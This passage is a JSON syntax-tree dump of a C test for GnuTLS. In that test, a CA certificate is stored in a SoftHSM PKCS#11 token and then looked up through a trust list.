637, "type": "argument_list", "text": "(ca, &tmp, GNUTLS_X509_FMT_PEM)", "parent": 635, "children": [638, 639, 641], "start_point": {"row": 189, "column": 27}, "end_point": {"row": 189, "column": 58}}, {"id": 638, "type": "identifier", "text": "ca", "parent": 637, "children": [], "start_point": {"row": 189, "column": 28}, "end_point": {"row": 189, "column": 30}}, {"id": 639, "type": "pointer_expression", "text": "&tmp", "parent": 637, "children": [640], "start_point": {"row": 189, "column": 32}, "end_point": {"row": 189, "column": 36}}, {"id": 640, "type": "identifier", "text": "tmp", "parent": 639, "children": [], "start_point": {"row": 189, "column": 33}, "end_point": {"row": 189, "column": 36}}, {"id": 641, "type": "identifier", "text": "GNUTLS_X509_FMT_PEM", "parent": 637, "children": [], "start_point": {"row": 189, "column": 38}, "end_point": {"row": 189, "column": 57}}, {"id": 642, "type": "if_statement", "text": "if (ret < 0) {\n\t\tfprintf(stderr, \"gnutls_x509_crt_import: %s\\n\",\n\t\t\tgnutls_strerror(ret));\n\t\texit(1);\n\t}", "parent": 139, "children": [643], "start_point": {"row": 190, "column": 1}, "end_point": {"row": 194, "column": 2}}, {"id": 643, "type": "parenthesized_expression", "text": "(ret < 0)", "parent": 642, "children": [644], "start_point": {"row": 190, "column": 4}, "end_point": {"row": 190, "column": 13}}, {"id": 644, "type": "binary_expression", "text": "ret < 0", "parent": 643, "children": [645, 646, 647], "start_point": {"row": 190, "column": 5}, "end_point": {"row": 190, "column": 12}}, {"id": 645, "type": "identifier", "text": "ret", "parent": 644, "children": [], "start_point": {"row": 190, "column": 5}, "end_point": {"row": 190, "column": 8}}, {"id": 646, "type": "<", "text": "<", "parent": 644, "children": [], "start_point": {"row": 190, "column": 9}, "end_point": {"row": 190, "column": 10}}, {"id": 647, "type": "number_literal", "text": "0", "parent": 644, "children": [], "start_point": {"row": 190, "column": 11}, "end_point": {"row": 190, "column": 12}}, {"id": 648, "type": "call_expression", "text": "fprintf(stderr, \"gnutls_x509_crt_import: %s\\n\",\n\t\t\tgnutls_strerror(ret))", "parent": 642, "children": [649, 650], "start_point": {"row": 191, "column": 2}, "end_point": {"row": 192, "column": 24}}, {"id": 649, "type": "identifier", "text": "fprintf", "parent": 648, "children": [], "start_point": {"row": 191, "column": 2}, "end_point": {"row": 191, "column": 9}}, {"id": 650, "type": "argument_list", "text": "(stderr, \"gnutls_x509_crt_import: %s\\n\",\n\t\t\tgnutls_strerror(ret))", "parent": 648, "children": [651, 652, 654], "start_point": {"row": 191, "column": 9}, "end_point": {"row": 192, "column": 24}}, {"id": 651, "type": "identifier", "text": "stderr", "parent": 650, "children": [], "start_point": {"row": 191, "column": 10}, "end_point": {"row": 191, "column": 16}}, {"id": 652, "type": "string_literal", "text": "\"gnutls_x509_crt_import: %s\\n\"", "parent": 650, "children": [653], "start_point": {"row": 191, "column": 18}, "end_point": {"row": 191, "column": 48}}, {"id": 653, "type": "escape_sequence", "text": "\\n", "parent": 652, "children": [], "start_point": {"row": 191, "column": 45}, "end_point": {"row": 191, "column": 47}}, {"id": 654, "type": "call_expression", "text": "gnutls_strerror(ret)", "parent": 650, "children": [655, 656], "start_point": {"row": 192, "column": 3}, "end_point": {"row": 192, "column": 23}}, {"id": 655, "type": "identifier", "text": "gnutls_strerror", "parent": 654, "children": [], "start_point": {"row": 192, "column": 3}, "end_point": {"row": 192, "column": 18}}, {"id": 656, "type": "argument_list", "text": "(ret)", "parent": 654, "children": [657], "start_point": {"row": 192, "column": 18}, "end_point": {"row": 192, "column": 23}}, {"id": 657, "type": "identifier", "text": "ret", "parent": 656, "children": [], "start_point": {"row": 192, "column": 19}, "end_point": {"row": 192, "column": 22}}, {"id": 658, "type": "call_expression", "text": "exit(1)", "parent": 642, "children": [659, 660], "start_point": {"row": 193, "column": 2}, "end_point": {"row": 193, "column": 9}}, {"id": 659, "type": "identifier", "text": "exit", "parent": 658, "children": [], "start_point": {"row": 193, "column": 2}, "end_point": {"row": 193, "column": 6}}, {"id": 660, "type": "argument_list", "text": "(1)", "parent": 658, "children": [661], "start_point": {"row": 193, "column": 6}, "end_point": {"row": 193, "column": 9}}, {"id": 661, "type": "number_literal", "text": "1", "parent": 660, "children": [], "start_point": {"row": 193, "column": 7}, "end_point": {"row": 193, "column": 8}}, {"id": 662, "type": "if_statement", "text": "if (debug > 2)\n\t\tprintf(\"done\\n\");", "parent": 139, "children": [663], "start_point": {"row": 196, "column": 1}, "end_point": {"row": 197, "column": 19}}, {"id": 663, "type": "parenthesized_expression", "text": "(debug > 2)", "parent": 662, "children": [664], "start_point": {"row": 196, "column": 4}, "end_point": {"row": 196, "column": 15}}, {"id": 664, "type": "binary_expression", "text": "debug > 2", "parent": 663, "children": [665, 666, 667], "start_point": {"row": 196, "column": 5}, "end_point": {"row": 196, "column": 14}}, {"id": 665, "type": "identifier", "text": "debug", "parent": 664, "children": [], "start_point": {"row": 196, "column": 5}, "end_point": {"row": 196, "column": 10}}, {"id": 666, "type": ">", "text": ">", "parent": 664, "children": [], "start_point": {"row": 196, "column": 11}, "end_point": {"row": 196, "column": 12}}, {"id": 667, "type": "number_literal", "text": "2", "parent": 664, "children": [], "start_point": {"row": 196, "column": 13}, "end_point": {"row": 196, "column": 14}}, {"id": 668, "type": "call_expression", "text": "printf(\"done\\n\")", "parent": 662, "children": [669, 670], "start_point": {"row": 197, "column": 2}, "end_point": {"row": 197, "column": 18}}, {"id": 669, "type": "identifier", "text": "printf", "parent": 668, "children": [], "start_point": {"row": 197, "column": 2}, "end_point": {"row": 197, "column": 8}}, {"id": 670, "type": "argument_list", "text": "(\"done\\n\")", "parent": 668, "children": [671], "start_point": {"row": 197, "column": 8}, "end_point": {"row": 197, "column": 18}}, {"id": 671, "type": "string_literal", "text": "\"done\\n\"", "parent": 670, "children": [672], "start_point": {"row": 197, "column": 9}, "end_point": {"row": 197, "column": 17}}, {"id": 672, "type": "escape_sequence", "text": "\\n", "parent": 671, "children": [], "start_point": {"row": 197, "column": 14}, "end_point": {"row": 197, "column": 16}}, {"id": 673, "type": "call_expression", "text": "gnutls_x509_crt_print(ca, GNUTLS_CRT_PRINT_ONELINE, &tmp)", "parent": 139, "children": [674, 675], "start_point": {"row": 199, "column": 1}, "end_point": {"row": 199, "column": 58}}, {"id": 674, "type": "identifier", "text": "gnutls_x509_crt_print", "parent": 673, "children": [], "start_point": {"row": 199, "column": 1}, "end_point": {"row": 199, "column": 22}}, {"id": 675, "type": "argument_list", "text": "(ca, GNUTLS_CRT_PRINT_ONELINE, &tmp)", "parent": 673, "children": [676, 677, 678], "start_point": {"row": 199, "column": 22}, "end_point": {"row": 199, "column": 58}}, {"id": 676, "type": "identifier", "text": "ca", "parent": 675, "children": [], "start_point": {"row": 199, "column": 23}, "end_point": {"row": 199, "column": 25}}, {"id": 677, "type": "identifier", "text": "GNUTLS_CRT_PRINT_ONELINE", "parent": 675, "children": [], "start_point": {"row": 199, "column": 27}, "end_point": {"row": 199, "column": 51}}, {"id": 678, "type": "pointer_expression", "text": "&tmp", "parent": 675, "children": [679], "start_point": {"row": 199, "column": 53}, "end_point": {"row": 199, "column": 57}}, {"id": 679, "type": "identifier", "text": "tmp", "parent": 678, "children": [], "start_point": {"row": 199, "column": 54}, "end_point": {"row": 199, "column": 57}}, {"id": 680, "type": "if_statement", "text": "if (debug)\n\t\tprintf(\"\\tCA Certificate: %.*s\\n\", tmp.size,\n\t\t tmp.data);", "parent": 139, "children": [681], "start_point": {"row": 200, "column": 1}, "end_point": {"row": 202, "column": 19}}, {"id": 681, "type": "parenthesized_expression", "text": "(debug)", "parent": 680, "children": [682], "start_point": {"row": 200, "column": 4}, "end_point": {"row": 200, "column": 11}}, {"id": 682, "type": "identifier", "text": "debug", "parent": 681, "children": [], "start_point": {"row": 200, "column": 5}, "end_point": {"row": 200, "column": 10}}, {"id": 683, "type": "call_expression", "text": "printf(\"\\tCA Certificate: %.*s\\n\", tmp.size,\n\t\t tmp.data)", "parent": 680, "children": [684, 685], "start_point": {"row": 201, "column": 2}, "end_point": {"row": 202, "column": 18}}, {"id": 684, "type": "identifier", "text": "printf", "parent": 683, "children": [], "start_point": {"row": 201, "column": 2}, "end_point": {"row": 201, "column": 8}}, {"id": 685, "type": "argument_list", "text": "(\"\\tCA Certificate: %.*s\\n\", tmp.size,\n\t\t tmp.data)", "parent": 683, "children": [686, 689, 692], "start_point": {"row": 201, "column": 8}, "end_point": {"row": 202, "column": 18}}, {"id": 686, "type": "string_literal", "text": "\"\\tCA Certificate: %.*s\\n\"", "parent": 685, "children": [687, 688], "start_point": {"row": 201, "column": 9}, "end_point": {"row": 201, "column": 35}}, {"id": 687, "type": "escape_sequence", "text": "\\t", "parent": 686, "children": [], "start_point": {"row": 201, "column": 10}, "end_point": {"row": 201, "column": 12}}, {"id": 688, "type": "escape_sequence", "text": "\\n", "parent": 686, "children": [], "start_point": {"row": 201, "column": 32}, "end_point": {"row": 201, "column": 34}}, {"id": 689, "type": "field_expression", "text": "tmp.size", "parent": 685, "children": [690, 691], "start_point": {"row": 201, "column": 37}, "end_point": {"row": 201, "column": 45}}, {"id": 690, "type": "identifier", "text": "tmp", "parent": 689, "children": [], "start_point": {"row": 201, "column": 37}, "end_point": {"row": 201, "column": 40}}, {"id": 691, "type": "field_identifier", "text": "size", "parent": 689, "children": [], "start_point": {"row": 201, "column": 41}, "end_point": {"row": 201, "column": 45}}, {"id": 692, "type": "field_expression", "text": "tmp.data", "parent": 685, "children": [693, 694], "start_point": {"row": 202, "column": 9}, "end_point": {"row": 202, "column": 17}}, {"id": 693, "type": "identifier", "text": "tmp", "parent": 692, "children": [], "start_point": {"row": 202, "column": 9}, "end_point": {"row": 202, "column": 12}}, {"id": 694, "type": "field_identifier", "text": "data", "parent": 692, "children": [], "start_point": {"row": 202, "column": 13}, "end_point": {"row": 202, "column": 17}}, {"id": 695, "type": "call_expression", "text": "gnutls_free(tmp.data)", "parent": 139, "children": [696, 697], "start_point": {"row": 203, "column": 1}, "end_point": {"row": 203, "column": 22}}, {"id": 696, "type": "identifier", "text": "gnutls_free", "parent": 695, "children": [], "start_point": {"row": 203, "column": 1}, "end_point": {"row": 203, "column": 12}}, {"id": 697, "type": "argument_list", "text": "(tmp.data)", "parent": 695, "children": [698], "start_point": {"row": 203, "column": 12}, "end_point": {"row": 203, "column": 22}}, {"id": 698, "type": "field_expression", "text": "tmp.data", "parent": 697, "children": [699, 700], "start_point": {"row": 203, "column": 13}, "end_point": {"row": 203, "column": 21}}, {"id": 699, "type": "identifier", "text": "tmp", "parent": 698, "children": [], "start_point": {"row": 203, "column": 13}, "end_point": {"row": 203, "column": 16}}, {"id": 700, "type": "field_identifier", "text": "data", "parent": 698, "children": [], "start_point": {"row": 203, "column": 17}, "end_point": {"row": 203, "column": 21}}, {"id": 701, "type": "if_statement", "text": "if (debug)\n\t\tprintf(\"\\tVerifying...\");", "parent": 139, "children": [702], "start_point": {"row": 205, "column": 1}, "end_point": {"row": 206, "column": 27}}, {"id": 702, "type": "parenthesized_expression", "text": "(debug)", "parent": 701, "children": [703], "start_point": {"row": 205, "column": 4}, "end_point": {"row": 205, "column": 11}}, {"id": 703, "type": "identifier", "text": "debug", "parent": 702, "children": [], "start_point": {"row": 205, "column": 5}, "end_point": {"row": 205, "column": 10}}, {"id": 704, "type": "call_expression", "text": "printf(\"\\tVerifying...\")", "parent": 701, "children": [705, 706], "start_point": {"row": 206, "column": 2}, "end_point": {"row": 206, "column": 26}}, {"id": 705, "type": "identifier", "text": "printf", "parent": 704, "children": [], "start_point": {"row": 206, "column": 2}, "end_point": {"row": 206, "column": 8}}, {"id": 706, "type": "argument_list", "text": "(\"\\tVerifying...\")", "parent": 704, "children": [707], "start_point": {"row": 206, "column": 8}, "end_point": {"row": 206, "column": 26}}, {"id": 707, "type": "string_literal", "text": "\"\\tVerifying...\"", "parent": 706, "children": [708], "start_point": {"row": 206, "column": 9}, "end_point": {"row": 206, "column": 25}}, {"id": 708, "type": "escape_sequence", "text": "\\t", "parent": 707, "children": [], "start_point": {"row": 206, "column": 10}, "end_point": {"row": 206, "column": 12}}, {"id": 709, "type": "assignment_expression", "text": "ret = gnutls_pkcs11_token_init(SOFTHSM_URL, PIN, \"test\")", "parent": 139, "children": [710, 711, 712], "start_point": {"row": 209, "column": 1}, "end_point": {"row": 209, "column": 57}}, {"id": 710, "type": "identifier", "text": "ret", "parent": 709, "children": [], "start_point": {"row": 209, "column": 1}, "end_point": {"row": 209, "column": 4}}, {"id": 711, "type": "=", "text": "=", "parent": 709, "children": [], "start_point": {"row": 209, "column": 5}, "end_point": {"row": 209, "column": 6}}, {"id": 712, "type": "call_expression", "text": "gnutls_pkcs11_token_init(SOFTHSM_URL, PIN, \"test\")", "parent": 709, "children": [713, 714], "start_point": {"row": 209, "column": 7}, "end_point": {"row": 209, "column": 57}}, {"id": 713, "type": "identifier", "text": "gnutls_pkcs11_token_init", "parent": 712, "children": [], "start_point": {"row": 209, "column": 7}, "end_point": {"row": 209, "column": 31}}, {"id": 714, "type": "argument_list", "text": "(SOFTHSM_URL, PIN, \"test\")", "parent": 712, "children": [715, 716, 717], "start_point": {"row": 209, "column": 31}, "end_point": {"row": 209, "column": 57}}, {"id": 715, "type": "identifier", "text": "SOFTHSM_URL", "parent": 714, "children": [], "start_point": {"row": 209, "column": 32}, "end_point": {"row": 209, "column": 43}}, {"id": 716, "type": "identifier", "text": "PIN", "parent": 714, "children": [], "start_point": {"row": 209, "column": 45}, "end_point": {"row": 209, "column": 48}}, {"id": 717, "type": "string_literal", "text": "\"test\"", "parent": 714, "children": [], "start_point": {"row": 209, "column": 50}, "end_point": {"row": 209, "column": 56}}, {"id": 718, "type": "if_statement", "text": "if (ret < 0) {\n\t\tfail(\"gnutls_pkcs11_token_init\\n\");\n\t\texit(1);\n\t}", "parent": 139, "children": [719], "start_point": {"row": 210, "column": 1}, "end_point": {"row": 213, "column": 2}}, {"id": 719, "type": "parenthesized_expression", "text": "(ret < 0)", "parent": 718, "children": [720], "start_point": {"row": 210, "column": 4}, "end_point": {"row": 210, "column": 13}}, {"id": 720, "type": "binary_expression", "text": "ret < 0", "parent": 719, "children": [721, 722, 723], "start_point": {"row": 210, "column": 5}, "end_point": {"row": 210, "column": 12}}, {"id": 721, "type": "identifier", "text": "ret", "parent": 720, "children": [], "start_point": {"row": 210, "column": 5}, "end_point": {"row": 210, "column": 8}}, {"id": 722, "type": "<", "text": "<", "parent": 720, "children": [], "start_point": {"row": 210, "column": 9}, "end_point": {"row": 210, "column": 10}}, {"id": 723, "type": "number_literal", "text": "0", "parent": 720, "children": [], "start_point": {"row": 210, "column": 11}, "end_point": {"row": 210, "column": 12}}, {"id": 724, "type": "call_expression", "text": "fail(\"gnutls_pkcs11_token_init\\n\")", "parent": 718, "children": [725, 726], "start_point": {"row": 211, "column": 2}, "end_point": {"row": 211, "column": 36}}, {"id": 725, "type": "identifier", "text": "fail", "parent": 724, "children": [], "start_point": {"row": 211, "column": 2}, "end_point": {"row": 211, "column": 6}}, {"id": 726, "type": "argument_list", "text": "(\"gnutls_pkcs11_token_init\\n\")", "parent": 724, "children": [727], "start_point": {"row": 211, "column": 6}, "end_point": {"row": 211, "column": 36}}, {"id": 727, "type": "string_literal", "text": "\"gnutls_pkcs11_token_init\\n\"", "parent": 726, "children": [728], "start_point": {"row": 211, "column": 7}, "end_point": {"row": 211, "column": 35}}, {"id": 728, "type": "escape_sequence", "text": "\\n", "parent": 727, "children": [], "start_point": {"row": 211, "column": 32}, "end_point": {"row": 211, "column": 34}}, {"id": 729, "type": "call_expression", "text": "exit(1)", "parent": 718, "children": [730, 731], "start_point": {"row": 212, "column": 2}, "end_point": {"row": 212, "column": 9}}, {"id": 730, "type": "identifier", "text": "exit", "parent": 729, "children": [], "start_point": {"row": 212, "column": 2}, "end_point": {"row": 212, "column": 6}}, {"id": 731, "type": "argument_list", "text": "(1)", "parent": 729, "children": [732], "start_point": {"row": 212, "column": 6}, "end_point": {"row": 212, "column": 9}}, {"id": 732, "type": "number_literal", "text": "1", "parent": 731, "children": [], "start_point": {"row": 212, "column": 7}, "end_point": {"row": 212, "column": 8}}, {"id": 733, "type": "assignment_expression", "text": "ret = gnutls_pkcs11_copy_x509_crt(SOFTHSM_URL, ca, \"test-ca\", GNUTLS_PKCS11_OBJ_FLAG_MARK_TRUSTED|GNUTLS_PKCS11_OBJ_FLAG_LOGIN_SO)", "parent": 139, "children": [734, 735, 736], "start_point": {"row": 216, "column": 1}, "end_point": {"row": 216, "column": 131}}, {"id": 734, "type": "identifier", "text": "ret", "parent": 733, "children": [], "start_point": {"row": 216, "column": 1}, "end_point": {"row": 216, "column": 4}}, {"id": 735, "type": "=", "text": "=", "parent": 733, "children": [], "start_point": {"row": 216, "column": 5}, "end_point": {"row": 216, "column": 6}}, {"id": 736, "type": "call_expression", "text": "gnutls_pkcs11_copy_x509_crt(SOFTHSM_URL, ca, \"test-ca\", GNUTLS_PKCS11_OBJ_FLAG_MARK_TRUSTED|GNUTLS_PKCS11_OBJ_FLAG_LOGIN_SO)", "parent": 733, "children": [737, 738], "start_point": {"row": 216, "column": 7}, "end_point": {"row": 216, "column": 131}}, {"id": 737, "type": "identifier", "text": "gnutls_pkcs11_copy_x509_crt", "parent": 736, "children": [], "start_point": {"row": 216, "column": 7}, "end_point": {"row": 216, "column": 34}}, {"id": 738, "type": "argument_list", "text": "(SOFTHSM_URL, ca, \"test-ca\", GNUTLS_PKCS11_OBJ_FLAG_MARK_TRUSTED|GNUTLS_PKCS11_OBJ_FLAG_LOGIN_SO)", "parent": 736, "children": [739, 740, 741, 742], "start_point": {"row": 216, "column": 34}, "end_point": {"row": 216, "column": 131}}, {"id": 739, "type": "identifier", "text": "SOFTHSM_URL", "parent": 738, "children": [], "start_point": {"row": 216, "column": 35}, "end_point": {"row": 216, "column": 46}}, {"id": 740, "type": "identifier", "text": "ca", "parent": 738, "children": [], "start_point": {"row": 216, "column": 48}, "end_point": {"row": 216, "column": 50}}, {"id": 741, "type": "string_literal", "text": "\"test-ca\"", "parent": 738, "children": [], "start_point": {"row": 216, "column": 52}, "end_point": {"row": 216, "column": 61}}, {"id": 742, "type": "binary_expression", "text": "GNUTLS_PKCS11_OBJ_FLAG_MARK_TRUSTED|GNUTLS_PKCS11_OBJ_FLAG_LOGIN_SO", "parent": 738, "children": [743, 744], "start_point": {"row": 216, "column": 63}, "end_point": {"row": 216, "column": 130}}, {"id": 743, "type": "identifier", "text": "GNUTLS_PKCS11_OBJ_FLAG_MARK_TRUSTED", "parent": 742, "children": [], "start_point": {"row": 216, "column": 63}, "end_point": {"row": 216, "column": 98}}, {"id": 744, "type": "identifier", "text": "GNUTLS_PKCS11_OBJ_FLAG_LOGIN_SO", "parent": 742, "children": [], "start_point": {"row": 216, "column": 99}, "end_point": {"row": 216, "column": 130}}, {"id": 745, "type": "if_statement", "text": "if (ret < 0) {\n\t\tfail(\"gnutls_pkcs11_copy_x509_crt: %s\\n\", gnutls_strerror(ret));\n\t\texit(1);\n\t}", "parent": 139, "children": [746], "start_point": {"row": 217, "column": 1}, "end_point": {"row": 220, "column": 2}}, {"id": 746, "type": "parenthesized_expression", "text": "(ret < 0)", "parent": 745, "children": [747], "start_point": {"row": 217, "column": 4}, "end_point": {"row": 217, "column": 13}}, {"id": 747, "type": "binary_expression", "text": "ret < 0", "parent": 746, "children": [748, 749, 750], "start_point": {"row": 217, "column": 5}, "end_point": {"row": 217, "column": 12}}, {"id": 748, "type": "identifier", "text": "ret", "parent": 747, "children": [], "start_point": {"row": 217, "column": 5}, "end_point": {"row": 217, "column": 8}}, {"id": 749, "type": "<", "text": "<", "parent": 747, "children": [], "start_point": {"row": 217, "column": 9}, "end_point": {"row": 217, "column": 10}}, {"id": 750, "type": "number_literal", "text": "0", "parent": 747, "children": [], "start_point": {"row": 217, "column": 11}, "end_point": {"row": 217, "column": 12}}, {"id": 751, "type": "call_expression", "text": "fail(\"gnutls_pkcs11_copy_x509_crt: %s\\n\", gnutls_strerror(ret))", "parent": 745, "children": [752, 753], "start_point": {"row": 218, "column": 2}, "end_point": {"row": 218, "column": 65}}, {"id": 752, "type": "identifier", "text": "fail", "parent": 751, "children": [], "start_point": {"row": 218, "column": 2}, "end_point": {"row": 218, "column": 6}}, {"id": 753, "type": "argument_list", "text": "(\"gnutls_pkcs11_copy_x509_crt: %s\\n\", gnutls_strerror(ret))", "parent": 751, "children": [754, 756], "start_point": {"row": 218, "column": 6}, "end_point": {"row": 218, "column": 65}}, {"id": 754, "type": "string_literal", "text": "\"gnutls_pkcs11_copy_x509_crt: %s\\n\"", "parent": 753, "children": [755], "start_point": {"row": 218, "column": 7}, "end_point": {"row": 218, "column": 42}}, {"id": 755, "type": "escape_sequence", "text": "\\n", "parent": 754, "children": [], "start_point": {"row": 218, "column": 39}, "end_point": {"row": 218, "column": 41}}, {"id": 756, "type": "call_expression", "text": "gnutls_strerror(ret)", "parent": 753, "children": [757, 758], "start_point": {"row": 218, "column": 44}, "end_point": {"row": 218, "column": 64}}, {"id": 757, "type": "identifier", "text": "gnutls_strerror", "parent": 756, "children": [], "start_point": {"row": 218, "column": 44}, "end_point": {"row": 218, "column": 59}}, {"id": 758, "type": "argument_list", "text": "(ret)", "parent": 756, "children": [759], "start_point": {"row": 218, "column": 59}, "end_point": {"row": 218, "column": 64}}, {"id": 759, "type": "identifier", "text": "ret", "parent": 758, "children": [], "start_point": {"row": 218, "column": 60}, "end_point": {"row": 218, "column": 63}}, {"id": 760, "type": "call_expression", "text": "exit(1)", "parent": 745, "children": [761, 762], "start_point": {"row": 219, "column": 2}, "end_point": {"row": 219, "column": 9}}, {"id": 761, "type": "identifier", "text": "exit", "parent": 760, "children": [], "start_point": {"row": 219, "column": 2}, "end_point": {"row": 219, "column": 6}}, {"id": 762, "type": "argument_list", "text": "(1)", "parent": 760, "children": [763], "start_point": {"row": 219, "column": 6}, "end_point": {"row": 219, "column": 9}}, {"id": 763, "type": "number_literal", "text": "1", "parent": 762, "children": [], "start_point": {"row": 219, "column": 7}, "end_point": {"row": 219, "column": 8}}, {"id": 764, "type": "call_expression", "text": "gnutls_x509_trust_list_init(&tl, 0)", "parent": 139, "children": [765, 766], "start_point": {"row": 222, "column": 1}, "end_point": {"row": 222, "column": 36}}, {"id": 765, "type": "identifier", "text": "gnutls_x509_trust_list_init", "parent": 764, "children": [], "start_point": {"row": 222, "column": 1}, "end_point": {"row": 222, "column": 28}}, {"id": 766, "type": "argument_list", "text": "(&tl, 0)", "parent": 764, "children": [767, 769], "start_point": {"row": 222, "column": 28}, "end_point": {"row": 222, "column": 36}}, {"id": 767, "type": "pointer_expression", "text": "&tl", "parent": 766, "children": [768], "start_point": {"row": 222, "column": 29}, "end_point": {"row": 222, "column": 32}}, {"id": 768, "type": "identifier", "text": "tl", "parent": 767, "children": [], "start_point": {"row": 222, "column": 30}, "end_point": {"row": 222, "column": 32}}, {"id": 769, "type": "number_literal", "text": "0", "parent": 766, "children": [], "start_point": {"row": 222, "column": 34}, "end_point": {"row": 222, "column": 35}}, {"id": 770, "type": "assignment_expression", "text": "ret = gnutls_x509_trust_list_add_trust_file(tl, SOFTHSM_URL, NULL, 0, 0, 0)", "parent": 139, "children": [771, 772, 773], "start_point": {"row": 224, "column": 1}, "end_point": {"row": 224, "column": 76}}, {"id": 771, "type": "identifier", "text": "ret", "parent": 770, "children": [], "start_point": {"row": 224, "column": 1}, "end_point": {"row": 224, "column": 4}}, {"id": 772, "type": "=", "text": "=", "parent": 770, "children": [], "start_point": {"row": 224, "column": 5}, "end_point": {"row": 224, "column": 6}}, {"id": 773, "type": "call_expression", "text": "gnutls_x509_trust_list_add_trust_file(tl, SOFTHSM_URL, NULL, 0, 0, 0)", "parent": 770, "children": [774, 775], "start_point": {"row": 224, "column": 7}, "end_point": {"row": 224, "column": 76}}, {"id": 774, "type": "identifier", "text": "gnutls_x509_trust_list_add_trust_file", "parent": 773, "children": [], "start_point": {"row": 224, "column": 7}, "end_point": {"row": 224, "column": 44}}, {"id": 775, "type": "argument_list", "text": "(tl, SOFTHSM_URL, NULL, 0, 0, 0)", "parent": 773, "children": [776, 777, 778, 780, 781, 782], "start_point": {"row": 224, "column": 44}, "end_point": {"row": 224, "column": 76}}, {"id": 776, "type": "identifier", "text": "tl", "parent": 775, "children": [], "start_point": {"row": 224, "column": 45}, "end_point": {"row": 224, "column": 47}}, {"id": 777, "type": "identifier", "text": "SOFTHSM_URL", "parent": 775, "children": [], "start_point": {"row": 224, "column": 49}, "end_point": {"row": 224, "column": 60}}, {"id": 778, "type": "null", "text": "NULL", "parent": 775, "children": [779], "start_point": {"row": 224, "column": 62}, "end_point": {"row": 224, "column": 66}}, {"id": 779, "type": "NULL", "text": "NULL", "parent": 778, "children": [], "start_point": {"row": 224, "column": 62}, "end_point": {"row": 224, "column": 66}}, {"id": 780, "type": "number_literal", "text": "0", "parent": 775, "children": [], "start_point": {"row": 224, "column": 68}, "end_point": {"row": 224, "column": 69}}, {"id": 781, "type": "number_literal", "text": "0", "parent": 775, "children": [], "start_point": {"row": 224, "column": 71}, "end_point": {"row": 224, "column": 72}}, {"id": 782, "type": "number_literal", "text": "0", "parent": 775, "children": [], "start_point": {"row": 224, "column": 74}, "end_point": {"row": 224, "column": 75}}, {"id": 783, "type": "if_statement", "text": "if (ret < 0) {\n\t\tfail(\"gnutls_x509_trust_list_add_trust_file\\n\");\n\t\texit(1);\n\t}", "parent": 139, "children": [784], "start_point": {"row": 225, "column": 1}, "end_point": {"row": 228, "column": 2}}, {"id": 784, "type": "parenthesized_expression", "text": "(ret < 0)", "parent": 783, "children": [785], "start_point": {"row": 225, "column": 4}, "end_point": {"row": 225, "column": 13}}, {"id": 785, "type": "binary_expression", "text": "ret < 0", "parent": 784, "children": [786, 787, 788], "start_point": {"row": 225, "column": 5}, "end_point": {"row": 225, "column": 12}}, {"id": 786, "type": "identifier", "text": "ret", "parent": 785, "children": [], "start_point": {"row": 225, "column": 5}, "end_point": {"row": 225, "column": 8}}, {"id": 787, "type": "<", "text": "<", "parent": 785, "children": [], "start_point": {"row": 225, "column": 9}, "end_point": {"row": 225, "column": 10}}, {"id": 788, "type": "number_literal", "text": "0", "parent": 785, "children": [], "start_point": {"row": 225, "column": 11}, "end_point": {"row": 225, "column": 12}}, {"id": 789, "type": "call_expression", "text": "fail(\"gnutls_x509_trust_list_add_trust_file\\n\")", "parent": 783, "children": [790, 791], "start_point": {"row": 226, "column": 2}, "end_point": {"row": 226, "column": 49}}, {"id": 790, "type": "identifier", "text": "fail", "parent": 789, "children": [], "start_point": {"row": 226, "column": 2}, "end_point": {"row": 226, "column": 6}}, {"id": 791, "type": "argument_list", "text": "(\"gnutls_x509_trust_list_add_trust_file\\n\")", "parent": 789, "children": [792], "start_point": {"row": 226, "column": 6}, "end_point": {"row": 226, "column": 49}}, {"id": 792, "type": "string_literal", "text": "\"gnutls_x509_trust_list_add_trust_file\\n\"", "parent": 791, "children": [793], "start_point": {"row": 226, "column": 7}, "end_point": {"row": 226, "column": 48}}, {"id": 793, "type": "escape_sequence", "text": "\\n", "parent": 792, "children": [], "start_point": {"row": 226, "column": 45}, "end_point": {"row": 226, "column": 47}}, {"id": 794, "type": "call_expression", "text": "exit(1)", "parent": 783, "children": [795, 796], "start_point": {"row": 227, "column": 2}, "end_point": {"row": 227, "column": 9}}, {"id": 795, "type": "identifier", "text": "exit", "parent": 794, "children": [], "start_point": {"row": 227, "column": 2}, "end_point": {"row": 227, "column": 6}}, {"id": 796, "type": "argument_list", "text": "(1)", "parent": 794, "children": [797], "start_point": {"row": 227, "column": 6}, "end_point": {"row": 227, "column": 9}}, {"id": 797, "type": "number_literal", "text": "1", "parent": 796, "children": [], "start_point": {"row": 227, "column": 7}, "end_point": {"row": 227, "column": 8}}, {"id": 798, "type": "assignment_expression", "text": "issuer = NULL", "parent": 139, "children": [799, 800, 801], "start_point": {"row": 231, "column": 1}, "end_point": {"row": 231, "column": 14}}, {"id": 799, "type": "identifier", "text": "issuer", "parent": 798, "children": [], "start_point": {"row": 231, "column": 1}, "end_point": {"row": 231, "column": 7}}, {"id": 800, "type": "=", "text": "=", "parent": 798, "children": [], "start_point": {"row": 231, "column": 8}, "end_point": {"row": 231, "column": 9}}, {"id": 801, "type": "null", "text": "NULL", "parent": 798, "children": [802], "start_point": {"row": 231, "column": 10}, "end_point": {"row": 231, "column": 14}}, {"id": 802, "type": "NULL", "text": "NULL", "parent": 801, "children": [], "start_point": {"row": 231, "column": 10}, "end_point": {"row": 231, "column": 14}}, {"id": 803, "type": "assignment_expression", "text": "ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, GNUTLS_TL_GET_COPY)", "parent": 139, "children": [804, 805, 806], "start_point": {"row": 232, "column": 1}, "end_point": {"row": 232, "column": 83}}, {"id": 804, "type": "identifier", "text": "ret", "parent": 803, "children": [], "start_point": {"row": 232, "column": 1}, "end_point": {"row": 232, "column": 4}}, {"id": 805, "type": "=", "text": "=", "parent": 803, "children": [], "start_point": {"row": 232, "column": 5}, "end_point": {"row": 232, "column": 6}}, {"id": 806, "type": "call_expression", "text": "gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, GNUTLS_TL_GET_COPY)", "parent": 803, "children": [807, 808], "start_point": {"row": 232, "column": 7}, "end_point": {"row": 232, "column": 83}}, {"id": 807, "type": "identifier", "text": "gnutls_x509_trust_list_get_issuer", "parent": 806, "children": [], "start_point": {"row": 232, "column": 7}, "end_point": {"row": 232, "column": 40}}, {"id": 808, "type": "argument_list", "text": "(tl, certs[2], &issuer, GNUTLS_TL_GET_COPY)", "parent": 806, "children": [809, 810, 813, 815], "start_point": {"row": 232, "column": 